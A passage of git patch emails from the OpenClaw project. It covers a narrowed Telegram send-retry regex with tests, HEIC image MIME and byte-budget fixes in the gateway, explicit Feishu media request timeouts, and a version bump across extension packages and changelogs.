&& ALWAYS_RECOVERABLE_MESSAGES.has(message)) { return true; } + if (message && GRAMMY_NETWORK_REQUEST_FAILED_RE.test(message)) { + return true; + } if (allowMessageMatch && message) { if (RECOVERABLE_MESSAGE_SNIPPETS.some((snippet) => message.includes(snippet))) { return true; diff --git a/src/telegram/send.test.ts b/src/telegram/send.test.ts index 59c98ea3a96..8f73753c70d 100644 --- a/src/telegram/send.test.ts +++ b/src/telegram/send.test.ts @@ -779,6 +779,29 @@ describe("sendMessageTelegram", () => { expect(sendMessage).toHaveBeenCalledTimes(1); }); + it("retries when grammY network envelope message includes failed-after wording", async () => { + const chatId = "123"; + const sendMessage = vi + .fn() + .mockRejectedValueOnce(new Error("Network request for 'sendMessage' failed after 1 attempts.")) + .mockResolvedValueOnce({ + message_id: 7, + chat: { id: chatId }, + }); + const api = { sendMessage } as unknown as { + sendMessage: typeof sendMessage; + }; + + const result = await sendMessageTelegram(chatId, "hi", { + token: "tok", + api, + retry: { attempts: 2, minDelayMs: 0, maxDelayMs: 0, jitter: 0 }, + }); + + expect(sendMessage).toHaveBeenCalledTimes(2); + expect(result).toEqual({ messageId: "7", chatId }); + }); + it("sends GIF media as animation", async () => { const chatId = "123"; const sendAnimation = vi.fn().mockResolvedValue({ From 59895f9c5af82ab112ae6fd997936fa464bd00bd Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Fri, 6 Mar 2026 22:12:45 +0530 Subject: [PATCH 031/844] fix: narrow Telegram failed-after retry match --- src/telegram/network-errors.test.ts | 9 ++------- src/telegram/network-errors.ts | 6 +++--- 2 files changed, 5 insertions(+), 10 deletions(-) diff --git a/src/telegram/network-errors.test.ts b/src/telegram/network-errors.test.ts index c7206305b04..4eff7b4da2e 100644 --- a/src/telegram/network-errors.test.ts +++ b/src/telegram/network-errors.test.ts @@ -40,7 +40,7 @@ describe("isRecoverableTelegramNetworkError", () => { }); it("skips broad message matches for send context", () => { - const networkRequestErr = new Error("Network request for 'sendMessage' timed out!"); + const networkRequestErr = new Error("Network request for 'sendMessage' failed!"); expect(isRecoverableTelegramNetworkError(networkRequestErr, { context: "send" })).toBe(false); expect(isRecoverableTelegramNetworkError(networkRequestErr, { context: "polling" })).toBe(true); @@ -49,12 +49,7 @@ describe("isRecoverableTelegramNetworkError", () => { expect(isRecoverableTelegramNetworkError(undiciSnippetErr, { context: "polling" })).toBe(true); }); - it("treats grammY network envelope errors as recoverable in send context", () => { - expect( - isRecoverableTelegramNetworkError(new Error("Network request for 'sendMessage' failed!"), { - context: "send", - }), - ).toBe(true); + it("treats grammY failed-after envelope errors as recoverable in send context", () => { expect( isRecoverableTelegramNetworkError( new Error("Network request for 'sendMessage' failed after 2 attempts."), diff --git a/src/telegram/network-errors.ts b/src/telegram/network-errors.ts index 7413a20e9d2..b670bc48212 100644 --- a/src/telegram/network-errors.ts +++ b/src/telegram/network-errors.ts @@ -33,8 +33,8 @@ const RECOVERABLE_ERROR_NAMES = new Set([ ]); const ALWAYS_RECOVERABLE_MESSAGES = new Set(["fetch failed", "typeerror: fetch failed"]); -const GRAMMY_NETWORK_REQUEST_FAILED_RE = - /^network request(?:\s+for\s+["']?[^"']+["']?)?\s+failed(?:\s+after\b.*)?[!.]?$/i; +const GRAMMY_NETWORK_REQUEST_FAILED_AFTER_RE = + /^network request(?:\s+for\s+["']?[^"']+["']?)?\s+failed\s+after\b.*[!.]?$/i; const RECOVERABLE_MESSAGE_SNIPPETS = [ "undici", @@ -108,7 +108,7 @@ export function isRecoverableTelegramNetworkError( if (message && ALWAYS_RECOVERABLE_MESSAGES.has(message)) { return true; } - if (message && GRAMMY_NETWORK_REQUEST_FAILED_RE.test(message)) { + if (message && GRAMMY_NETWORK_REQUEST_FAILED_AFTER_RE.test(message)) { return true; } if (allowMessageMatch && message) { From f9d86b9256240762152a6c5cb07e99761ad80af9 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Fri, 6 Mar 2026 22:18:28 +0530 Subject: [PATCH 032/844] chore: prep #38056 for landing (thanks @0xlin2023) --- CHANGELOG.md | 2 ++ src/telegram/send.test.ts | 4 +++- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 370ed4eaaf6..53bc622fc81 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -202,6 +202,8 @@ Docs: https://docs.openclaw.ai - Skills/openai-image-gen CLI validation: validate `--background` and `--style` inputs early, normalize supported values, and warn when those flags are ignored for incompatible models. (#36762) Thanks @shuofengzhang and @vincentkoc. - Skills/openai-image-gen output formats: validate `--output-format` values early, normalize aliases like `jpg -> jpeg`, and warn when the flag is ignored for incompatible models. (#36648) Thanks @shuofengzhang and @vincentkoc. - WhatsApp media upload caps: make outbound media sends and auto-replies honor `channels.whatsapp.mediaMaxMb` with per-account overrides so inbound and outbound limits use the same channel config. Thanks @vincentkoc. +- Windows/Plugin install: when OpenClaw runs on Windows via Bun and `npm-cli.js` is not colocated with the runtime binary, fall back to `npm.cmd`/`npx.cmd` through the existing `cmd.exe` wrapper so `openclaw plugins install` no longer fails with `spawn EINVAL`. (#38056) Thanks @0xlin2023. +- Telegram/send retry classification: retry grammY `Network request ... failed after N attempts` envelopes in send flows without reclassifying plain `Network request ... failed!` wrappers as transient, restoring the intended retry path while keeping broad send-context message matching tight. (#38056) Thanks @0xlin2023. ## 2026.3.2 diff --git a/src/telegram/send.test.ts b/src/telegram/send.test.ts index 8f73753c70d..38097c49232 100644 --- a/src/telegram/send.test.ts +++ b/src/telegram/send.test.ts @@ -783,7 +783,9 @@ describe("sendMessageTelegram", () => { const chatId = "123"; const sendMessage = vi .fn() - .mockRejectedValueOnce(new Error("Network request for 'sendMessage' failed after 1 attempts.")) + .mockRejectedValueOnce( + new Error("Network request for 'sendMessage' failed after 1 attempts."), + ) .mockResolvedValueOnce({ message_id: 7, chat: { id: chatId }, From 9521e61a22b4e9cb10f0b01e35c190b5fa535336 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 11:53:59 -0500 Subject: [PATCH 033/844] Gateway: follow up HEIC input image handling (#38146) * Media: scope HEIC MIME sniffing * Media: hermeticize HEIC input tests * Gateway: fix HEIC image budget accounting * Gateway: add HEIC image budget regression test * Changelog: note HEIC follow-up fix --- CHANGELOG.md | 1 + src/gateway/openai-http.image-budget.test.ts | 68 ++++++++++++++++++++ src/gateway/openai-http.ts | 15 +++-- src/media/input-files.fetch-guard.test.ts | 32 +++++++++ src/media/input-files.ts | 10 +-- 5 files changed, 116 insertions(+), 10 deletions(-) create mode 100644 src/gateway/openai-http.image-budget.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 53bc622fc81..a063b910640 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -138,6 +138,7 @@ Docs: https://docs.openclaw.ai - Discord/voice decoder fallback: drop the native Opus dependency and use opusscript for voice decoding to avoid native-opus installs. Thanks @thewilloftheshadow. - Discord/auto presence health signal: add runtime availability-driven presence updates plus connected-state reporting to improve health monitoring and operator visibility. (#33277) Thanks @thewilloftheshadow. - HEIC image inputs: accept HEIC/HEIF `input_image` sources in Gateway HTTP APIs, normalize them to JPEG before provider delivery, and document the expanded default MIME allowlist. Thanks @vincentkoc. +- Gateway/HEIC input follow-up: keep non-HEIC `input_image` MIME handling unchanged, make HEIC tests hermetic, and enforce chat-completions `maxTotalImageBytes` against post-normalization image payload size. Thanks @vincentkoc. - Telegram/draft-stream boundary stability: materialize DM draft previews at assistant-message/tool boundaries, serialize lane-boundary callbacks before final delivery, and scope preview cleanup to the active preview so multi-step Telegram streams no longer lose, overwrite, or leave stale preview bubbles. (#33842) Thanks @ngutman. - Telegram/DM draft finalization reliability: require verified final-text draft emission before treating preview finalization as delivered, and fall back to normal payload send when final draft delivery is not confirmed (preventing missing final responses and preserving media/button delivery). (#32118) Thanks @OpenCils. - Telegram/DM draft final delivery: materialize text-only `sendMessageDraft` previews into one permanent final message and skip duplicate final payload sends, while preserving fallback behavior when materialization fails. (#34318) Thanks @Brotherinlaw-13. diff --git a/src/gateway/openai-http.image-budget.test.ts b/src/gateway/openai-http.image-budget.test.ts new file mode 100644 index 00000000000..fcc7e2049ae --- /dev/null +++ b/src/gateway/openai-http.image-budget.test.ts @@ -0,0 +1,68 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const extractImageContentFromSourceMock = vi.fn(); + +vi.mock("../media/input-files.js", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + extractImageContentFromSource: (...args: unknown[]) => + extractImageContentFromSourceMock(...args), + }; +}); + +import { __testOnlyOpenAiHttp } from "./openai-http.js"; + +describe("openai image budget accounting", () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it("counts normalized base64 image bytes against maxTotalImageBytes", async () => { + extractImageContentFromSourceMock.mockResolvedValueOnce({ + type: "image", + data: Buffer.alloc(10, 1).toString("base64"), + mimeType: "image/jpeg", + }); + + const limits = __testOnlyOpenAiHttp.resolveOpenAiChatCompletionsLimits({ + maxTotalImageBytes: 5, + }); + + await expect( + __testOnlyOpenAiHttp.resolveImagesForRequest( + { + urls: ["data:image/heic;base64,QUJD"], + }, + limits, + ), + ).rejects.toThrow(/Total image payload too large/); + }); + + it("does not double-count unchanged base64 image payloads", async () => { + extractImageContentFromSourceMock.mockResolvedValueOnce({ + type: "image", + data: "QUJDRA==", + mimeType: "image/jpeg", + }); + + const limits = __testOnlyOpenAiHttp.resolveOpenAiChatCompletionsLimits({ + maxTotalImageBytes: 4, + }); + + await expect( + __testOnlyOpenAiHttp.resolveImagesForRequest( + { + urls: ["data:image/jpeg;base64,QUJDRA=="], + }, + limits, + ), + ).resolves.toEqual([ + { + type: "image", + data: "QUJDRA==", + mimeType: "image/jpeg", + }, + ]); + }); +}); diff --git a/src/gateway/openai-http.ts b/src/gateway/openai-http.ts index d23fc64bf96..01564f17b34 100644 --- a/src/gateway/openai-http.ts +++ b/src/gateway/openai-http.ts @@ -300,18 +300,16 @@ async function resolveImagesForRequest( for (const url of urls) { const source = parseImageUrlToSource(url); if (source.type === "base64") { - totalBytes += estimateBase64DecodedBytes(source.data); - if (totalBytes > limits.maxTotalImageBytes) { + const sourceBytes = estimateBase64DecodedBytes(source.data); + if (totalBytes + sourceBytes > limits.maxTotalImageBytes) { throw new Error( - `Total image payload too large (${totalBytes}; limit ${limits.maxTotalImageBytes})`, + `Total image payload too large (${totalBytes + sourceBytes}; limit ${limits.maxTotalImageBytes})`, ); } } const image = await extractImageContentFromSource(source, limits.images); - if (source.type !== "base64") { - totalBytes += estimateBase64DecodedBytes(image.data); - } + totalBytes += estimateBase64DecodedBytes(image.data); if (totalBytes > limits.maxTotalImageBytes) { throw new Error( `Total image payload too large (${totalBytes}; limit ${limits.maxTotalImageBytes})`, @@ -322,6 +320,11 @@ async function resolveImagesForRequest( return images; } +export const __testOnlyOpenAiHttp = { + resolveImagesForRequest, + resolveOpenAiChatCompletionsLimits, +}; + function buildAgentPrompt( messagesUnknown: unknown, activeUserMessageIndex: number, diff --git a/src/media/input-files.fetch-guard.test.ts b/src/media/input-files.fetch-guard.test.ts index 6d83738c73a..05d59d37e76 100644 --- a/src/media/input-files.fetch-guard.test.ts +++ b/src/media/input-files.fetch-guard.test.ts @@ -2,6 +2,7 @@ import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; const fetchWithSsrFGuardMock = vi.fn(); const convertHeicToJpegMock = vi.fn(); +const detectMimeMock = vi.fn(); vi.mock("../infra/net/fetch-guard.js", () => ({ fetchWithSsrFGuard: (...args: unknown[]) => fetchWithSsrFGuardMock(...args), @@ -11,6 +12,10 @@ vi.mock("./image-ops.js", () => ({ convertHeicToJpeg: (...args: unknown[]) => convertHeicToJpegMock(...args), })); +vi.mock("./mime.js", () => ({ + detectMime: (...args: unknown[]) => detectMimeMock(...args), +})); + async function waitForMicrotaskTurn(): Promise { await new Promise((resolve) => queueMicrotask(resolve)); } @@ -31,6 +36,7 @@ beforeEach(() => { describe("HEIC input image normalization", () => { it("converts base64 HEIC images to JPEG before returning them", async () => { const normalized = Buffer.from("jpeg-normalized"); + detectMimeMock.mockResolvedValueOnce("image/heic"); convertHeicToJpegMock.mockResolvedValueOnce(normalized); const image = await extractImageContentFromSource( @@ -67,6 +73,7 @@ describe("HEIC input image normalization", () => { finalUrl: "https://example.com/photo.heic", }); const normalized = Buffer.from("jpeg-url-normalized"); + detectMimeMock.mockResolvedValueOnce("image/heic"); convertHeicToJpegMock.mockResolvedValueOnce(normalized); const image = await extractImageContentFromSource( @@ -91,6 +98,31 @@ describe("HEIC input image normalization", () => { }); expect(release).toHaveBeenCalledTimes(1); }); + + it("keeps declared MIME for non-HEIC images without sniffing", async () => { + const image = await extractImageContentFromSource( + { + type: "base64", + data: Buffer.from("png-like").toString("base64"), + mediaType: "image/png", + }, + { + allowUrl: false, + allowedMimes: new Set(["image/png"]), + maxBytes: 1024 * 1024, + maxRedirects: 0, + timeoutMs: 1, + }, + ); + + expect(detectMimeMock).not.toHaveBeenCalled(); + expect(convertHeicToJpegMock).not.toHaveBeenCalled(); + expect(image).toEqual({ + type: "image", + data: Buffer.from("png-like").toString("base64"), + mimeType: "image/png", + }); + }); }); describe("fetchWithGuard", () => { diff --git a/src/media/input-files.ts b/src/media/input-files.ts index dcf3cd5872d..b894c6d13b2 100644 --- a/src/media/input-files.ts +++ b/src/media/input-files.ts @@ -234,10 +234,12 @@ async function normalizeInputImage(params: { mimeType?: string; limits: InputImageLimits; }): Promise { - const sourceMime = - normalizeMimeType(await detectMime({ buffer: params.buffer, headerMime: params.mimeType })) ?? - normalizeMimeType(params.mimeType) ?? - "application/octet-stream"; + const declaredMime = normalizeMimeType(params.mimeType) ?? "application/octet-stream"; + const sourceMime = HEIC_INPUT_IMAGE_MIMES.has(declaredMime) + ? (normalizeMimeType( + await detectMime({ buffer: params.buffer, headerMime: params.mimeType }), + ) ?? declaredMime) + : declaredMime; if (!params.limits.allowedMimes.has(sourceMime)) { throw new Error(`Unsupported image MIME type: ${sourceMime}`); } From b12733395e0795dbd77fc879a60faa76d1a5cafb Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Fri, 6 Mar 2026 22:23:52 +0530 Subject: [PATCH 034/844] fix(feishu): restore explicit media request timeouts --- extensions/feishu/src/media.ts | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/extensions/feishu/src/media.ts b/extensions/feishu/src/media.ts index 4aba038b4a9..6d9f821c602 100644 --- a/extensions/feishu/src/media.ts +++ b/extensions/feishu/src/media.ts @@ -106,6 +106,7 @@ export async function downloadImageFeishu(params: { const response = await client.im.image.get({ path: { image_key: normalizedImageKey }, + timeout: FEISHU_MEDIA_HTTP_TIMEOUT_MS, }); const buffer = await readFeishuResponseBuffer({ @@ -145,6 +146,7 @@ export async function downloadMessageResourceFeishu(params: { const response = await client.im.messageResource.get({ path: { message_id: messageId, file_key: normalizedFileKey }, params: { type }, + timeout: FEISHU_MEDIA_HTTP_TIMEOUT_MS, }); const buffer = await readFeishuResponseBuffer({ @@ -200,6 +202,7 @@ export async function uploadImageFeishu(params: { // eslint-disable-next-line @typescript-eslint/no-explicit-any -- SDK accepts Buffer or ReadStream image: imageData as any, }, + timeout: FEISHU_MEDIA_HTTP_TIMEOUT_MS, }); // SDK v1.30+ returns data directly without code wrapper on success @@ -274,6 +277,7 @@ export async function uploadFileFeishu(params: { file: fileData as any, ...(duration !== undefined && { duration }), }, + timeout: FEISHU_MEDIA_HTTP_TIMEOUT_MS, }); // SDK v1.30+ returns data directly without code wrapper on success From 4ed5febc3884b18b8240c3958958e87e829c31c3 Mon Sep 17 00:00:00 2001 From: Ayaan Zaidi Date: Fri, 6 Mar 2026 22:25:23 +0530 Subject: [PATCH 035/844] chore(extensions): sync plugin versions --- extensions/acpx/package.json | 2 +- extensions/bluebubbles/package.json | 2 +- extensions/copilot-proxy/package.json | 2 +- extensions/diagnostics-otel/package.json | 2 +- extensions/diffs/package.json | 2 +- extensions/discord/package.json | 2 +- extensions/feishu/package.json | 2 +- extensions/google-gemini-cli-auth/package.json | 2 +- extensions/googlechat/package.json | 2 +- extensions/imessage/package.json | 2 +- extensions/irc/package.json | 2 +- extensions/line/package.json | 2 +- extensions/llm-task/package.json | 2 +- extensions/lobster/package.json | 2 +- extensions/matrix/CHANGELOG.md | 6 ++++++ extensions/matrix/package.json | 2 +- extensions/mattermost/package.json | 2 +- extensions/memory-core/package.json | 2 +- extensions/memory-lancedb/package.json | 2 +- extensions/minimax-portal-auth/package.json | 2 +- extensions/msteams/CHANGELOG.md | 6 ++++++ extensions/msteams/package.json | 2 +- extensions/nextcloud-talk/package.json | 2 +- extensions/nostr/CHANGELOG.md | 6 ++++++ extensions/nostr/package.json | 2 +- extensions/open-prose/package.json | 2 +- extensions/signal/package.json | 2 +- extensions/slack/package.json | 2 +- extensions/synology-chat/package.json | 2 +- extensions/telegram/package.json | 2 +- extensions/tlon/package.json | 2 +- extensions/twitch/CHANGELOG.md | 6 ++++++ extensions/twitch/package.json | 2 +- extensions/voice-call/CHANGELOG.md | 6 ++++++ extensions/voice-call/package.json | 2 +- extensions/whatsapp/package.json | 2 +- extensions/zalo/CHANGELOG.md | 6 ++++++ extensions/zalo/package.json | 2 +- extensions/zalouser/CHANGELOG.md | 6 ++++++ extensions/zalouser/package.json | 2 +- 40 files changed, 75 insertions(+), 33 deletions(-) diff --git a/extensions/acpx/package.json b/extensions/acpx/package.json index 7a92fd1a4e6..a9d36c1fea4 100644 --- a/extensions/acpx/package.json +++ b/extensions/acpx/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/acpx", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw ACP runtime backend via acpx", "type": "module", "dependencies": { diff --git a/extensions/bluebubbles/package.json b/extensions/bluebubbles/package.json index 122cd21dcea..bef722d513b 100644 --- a/extensions/bluebubbles/package.json +++ b/extensions/bluebubbles/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/bluebubbles", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw BlueBubbles channel plugin", "type": "module", "dependencies": { diff --git a/extensions/copilot-proxy/package.json b/extensions/copilot-proxy/package.json index acd0f4096e1..58f5c6d39aa 100644 --- a/extensions/copilot-proxy/package.json +++ b/extensions/copilot-proxy/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/copilot-proxy", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenClaw Copilot Proxy provider plugin", "type": "module", diff --git a/extensions/diagnostics-otel/package.json b/extensions/diagnostics-otel/package.json index e1312867c5a..9b4f0523ede 100644 --- a/extensions/diagnostics-otel/package.json +++ b/extensions/diagnostics-otel/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/diagnostics-otel", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw diagnostics OpenTelemetry exporter", "type": "module", "dependencies": { diff --git a/extensions/diffs/package.json b/extensions/diffs/package.json index a19e164b135..7567e7a8ef0 100644 --- a/extensions/diffs/package.json +++ b/extensions/diffs/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/diffs", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenClaw diff viewer plugin", "type": "module", diff --git a/extensions/discord/package.json b/extensions/discord/package.json index d018d64929f..2fe1336626d 100644 --- a/extensions/discord/package.json +++ b/extensions/discord/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/discord", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw Discord channel plugin", "type": "module", "openclaw": { diff --git a/extensions/feishu/package.json b/extensions/feishu/package.json index 548d7db79b0..bb85da8ab41 100644 --- a/extensions/feishu/package.json +++ b/extensions/feishu/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/feishu", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw Feishu/Lark channel plugin (community maintained by @m1heng)", "type": "module", "dependencies": { diff --git a/extensions/google-gemini-cli-auth/package.json b/extensions/google-gemini-cli-auth/package.json index 6e9d7ac4570..f655b794c32 100644 --- a/extensions/google-gemini-cli-auth/package.json +++ b/extensions/google-gemini-cli-auth/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/google-gemini-cli-auth", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenClaw Gemini CLI OAuth provider plugin", "type": "module", diff --git a/extensions/googlechat/package.json b/extensions/googlechat/package.json index d76ddc648cd..4c19fd26af6 100644 --- a/extensions/googlechat/package.json +++ b/extensions/googlechat/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/googlechat", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenClaw Google Chat channel plugin", "type": "module", diff --git a/extensions/imessage/package.json b/extensions/imessage/package.json index c6c03dca8b0..4c29501f7d0 100644 --- a/extensions/imessage/package.json +++ b/extensions/imessage/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/imessage", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenClaw iMessage channel plugin", "type": "module", diff --git a/extensions/irc/package.json b/extensions/irc/package.json index 2ac8e39812d..2de9a5afb0b 100644 --- a/extensions/irc/package.json +++ b/extensions/irc/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/irc", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw IRC channel plugin", "type": "module", "dependencies": { diff --git a/extensions/line/package.json b/extensions/line/package.json index 3d05a61bbff..e300f54ee74 100644 --- a/extensions/line/package.json +++ b/extensions/line/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/line", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenClaw LINE channel plugin", "type": "module", diff --git a/extensions/llm-task/package.json b/extensions/llm-task/package.json index b4436762846..2e925f7191b 100644 --- a/extensions/llm-task/package.json +++ b/extensions/llm-task/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/llm-task", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenClaw JSON-only LLM task plugin", "type": "module", diff --git a/extensions/lobster/package.json b/extensions/lobster/package.json index 8a2835f8726..8bc2465562f 100644 --- a/extensions/lobster/package.json +++ b/extensions/lobster/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/lobster", - "version": "2026.3.2", + "version": "2026.3.3", "description": "Lobster workflow tool plugin (typed pipelines + resumable approvals)", "type": "module", "dependencies": { diff --git a/extensions/matrix/CHANGELOG.md b/extensions/matrix/CHANGELOG.md index 03c9a2a50da..755416bd6ed 100644 --- a/extensions/matrix/CHANGELOG.md +++ b/extensions/matrix/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 2026.3.3 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.2 ### Changes diff --git a/extensions/matrix/package.json b/extensions/matrix/package.json index 8f294d3b98b..2fc14ffadd6 100644 --- a/extensions/matrix/package.json +++ b/extensions/matrix/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/matrix", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw Matrix channel plugin", "type": "module", "dependencies": { diff --git a/extensions/mattermost/package.json b/extensions/mattermost/package.json index 52a88810c3a..6f93c8c53c0 100644 --- a/extensions/mattermost/package.json +++ b/extensions/mattermost/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/mattermost", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw Mattermost channel plugin", "type": "module", "dependencies": { diff --git a/extensions/memory-core/package.json b/extensions/memory-core/package.json index 063921d9c0f..25b87193258 100644 --- a/extensions/memory-core/package.json +++ b/extensions/memory-core/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/memory-core", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenClaw core memory search plugin", "type": "module", diff --git a/extensions/memory-lancedb/package.json b/extensions/memory-lancedb/package.json index 102f43da823..a9e05c3f4f6 100644 --- a/extensions/memory-lancedb/package.json +++ b/extensions/memory-lancedb/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/memory-lancedb", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenClaw LanceDB-backed long-term memory plugin with auto-recall/capture", "type": "module", diff --git a/extensions/minimax-portal-auth/package.json b/extensions/minimax-portal-auth/package.json index 83ed9f8519b..80e767562de 100644 --- a/extensions/minimax-portal-auth/package.json +++ b/extensions/minimax-portal-auth/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/minimax-portal-auth", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenClaw MiniMax Portal OAuth provider plugin", "type": "module", diff --git a/extensions/msteams/CHANGELOG.md b/extensions/msteams/CHANGELOG.md index 3f06667bb11..f062ef907e2 100644 --- a/extensions/msteams/CHANGELOG.md +++ b/extensions/msteams/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 2026.3.3 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.2 ### Changes diff --git a/extensions/msteams/package.json b/extensions/msteams/package.json index 6b81483d5d2..8689f51cd16 100644 --- a/extensions/msteams/package.json +++ b/extensions/msteams/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/msteams", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw Microsoft Teams channel plugin", "type": "module", "dependencies": { diff --git a/extensions/nextcloud-talk/package.json b/extensions/nextcloud-talk/package.json index a9f6046a127..e3f3fcbeb03 100644 --- a/extensions/nextcloud-talk/package.json +++ b/extensions/nextcloud-talk/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/nextcloud-talk", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw Nextcloud Talk channel plugin", "type": "module", "dependencies": { diff --git a/extensions/nostr/CHANGELOG.md b/extensions/nostr/CHANGELOG.md index 2a46a9a932a..b9a57803672 100644 --- a/extensions/nostr/CHANGELOG.md +++ b/extensions/nostr/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 2026.3.3 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.2 ### Changes diff --git a/extensions/nostr/package.json b/extensions/nostr/package.json index 4341ab6a944..8afc0450856 100644 --- a/extensions/nostr/package.json +++ b/extensions/nostr/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/nostr", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw Nostr channel plugin for NIP-04 encrypted DMs", "type": "module", "dependencies": { diff --git a/extensions/open-prose/package.json b/extensions/open-prose/package.json index 2761247d6ec..8c45daba14d 100644 --- a/extensions/open-prose/package.json +++ b/extensions/open-prose/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/open-prose", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenProse VM skill pack plugin (slash command + telemetry).", "type": "module", diff --git a/extensions/signal/package.json b/extensions/signal/package.json index 8b12eda9a6b..4c7e04ab090 100644 --- a/extensions/signal/package.json +++ b/extensions/signal/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/signal", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenClaw Signal channel plugin", "type": "module", diff --git a/extensions/slack/package.json b/extensions/slack/package.json index d686cab2097..5dd8a3db902 100644 --- a/extensions/slack/package.json +++ b/extensions/slack/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/slack", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenClaw Slack channel plugin", "type": "module", diff --git a/extensions/synology-chat/package.json b/extensions/synology-chat/package.json index a5268191fd0..e16c17d892c 100644 --- a/extensions/synology-chat/package.json +++ b/extensions/synology-chat/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/synology-chat", - "version": "2026.3.2", + "version": "2026.3.3", "description": "Synology Chat channel plugin for OpenClaw", "type": "module", "dependencies": { diff --git a/extensions/telegram/package.json b/extensions/telegram/package.json index 50438e9a5f8..44013315ef8 100644 --- a/extensions/telegram/package.json +++ b/extensions/telegram/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/telegram", - "version": "2026.3.2", + "version": "2026.3.3", "private": true, "description": "OpenClaw Telegram channel plugin", "type": "module", diff --git a/extensions/tlon/package.json b/extensions/tlon/package.json index eb88fc7db79..319dfde7613 100644 --- a/extensions/tlon/package.json +++ b/extensions/tlon/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/tlon", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw Tlon/Urbit channel plugin", "type": "module", "dependencies": { diff --git a/extensions/twitch/CHANGELOG.md b/extensions/twitch/CHANGELOG.md index 34effe0e098..1d317162a37 100644 --- a/extensions/twitch/CHANGELOG.md +++ b/extensions/twitch/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 2026.3.3 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.2 ### Changes diff --git a/extensions/twitch/package.json b/extensions/twitch/package.json index 59fe5018fff..2c8d0502932 100644 --- a/extensions/twitch/package.json +++ b/extensions/twitch/package.json @@ -1,6 +1,6 @@ { "name": "@openclaw/twitch", - "version": "2026.3.2", + "version": "2026.3.3", "description": "OpenClaw Twitch channel plugin", "type": "module", "dependencies": { diff --git a/extensions/voice-call/CHANGELOG.md b/extensions/voice-call/CHANGELOG.md index 79b4cd68294..3767703a0be 100644 --- a/extensions/voice-call/CHANGELOG.md +++ b/extensions/voice-call/CHANGELOG.md @@ -1,5 +1,11 @@ # Changelog +## 2026.3.3 + +### Changes + +- Version alignment with core OpenClaw release numbers. + ## 2026.3.2 ### Changes diff --git a/extensions/voice-call/package.json b/extensions/voice-call/package.json index 468174bb34b..3e2834068d3 100644 --- a/extensions/voice-call/package.json +++ 